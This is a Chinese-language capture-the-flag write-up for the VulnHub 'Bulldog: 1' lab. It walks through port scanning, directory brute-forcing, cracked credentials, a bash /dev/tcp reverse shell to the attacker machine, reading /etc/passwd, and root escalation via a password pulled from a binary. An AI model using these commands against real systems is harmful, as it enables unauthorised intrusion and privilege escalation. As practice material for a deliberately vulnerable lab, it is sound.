靶机渗透实战2:Bulldog: 1
一、准备说明:
攻击机:WMware 中的 Kali Linux
靶机:VMware 中的 Bulldog: 1(下载地址:https://www.vulnhub.com/entry/bulldog-1,211/)
目标:Escalate the privileges to root and capture the flag
二、信息收集
2.1 端口扫描,服务指纹识别:
nmap命令:nmap -p 1-65535 -A 192.168.1.104

23/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http WSGIServer 0.1 (Python 2.7.12)
8080/tcp open http WSGIServer 0.1 (Python 2.7.12)
2.2 DirBuser 爆破目录

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http://192.168.1.104:80--------------------------------Directories found during testing:Dirs found with a 200 response:/notice///admin/login//dev//dev/shell/Dirs found with a 302 response:/admin//admin/logout//admin/auth//admin/auth/user//admin/auth/group/--------------------------------Files found during testing:Files found with a 200 responce:/static/js/jquery.min.js/static/js/bootstrap.js |
2.3 访问已爆破出来的目录:
访问:http://192.168.1.104/admin/


查看源码:

MD5解密:可能对应的账号:
nick--------bulldog
sarah-------bulldoglover
访问:http://192.168.1.104/dev/shell/

三、漏洞挖掘:
3.1 登录账户
用 sarah-------bulldoglover 作为账号密码登录后,刷新 http://192.168.1.104/dev/shell/

3.2 反弹 shell
kali攻击机命令:nc -lvnp 6666
echo "bash -i >& /dev/tcp/192.168.1.102/6666 0>&1" | bash

3.3 权限提升
cat /etc/passwd

bulldogadmin:x:1000:1000:bulldogadmin,,,:/home/bulldogadmin:/bin/bash
django:x:1001:1001:,,,:/home/django:/bin/bash
查找bulldogadmin用户的文件: find / -user bulldogadmin 2>/dev/null

发现值得关注的文件有:一个是note,一个是customPermissionApp。
/home/bulldogadmin/.hiddenadmindirectory/note
/home/bulldogadmin/.hiddenadmindirectory/customPermissionApp
strings /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp

SUPERultHimatePASHSWORDyouHCANTget 尝试去掉其中的H
SUPERultimatePASSWORDyouCANTget
执行命令:python -c 'import pty;pty.spawn("/bin/bash")'
尝试密码:sudo su -

提权成功。

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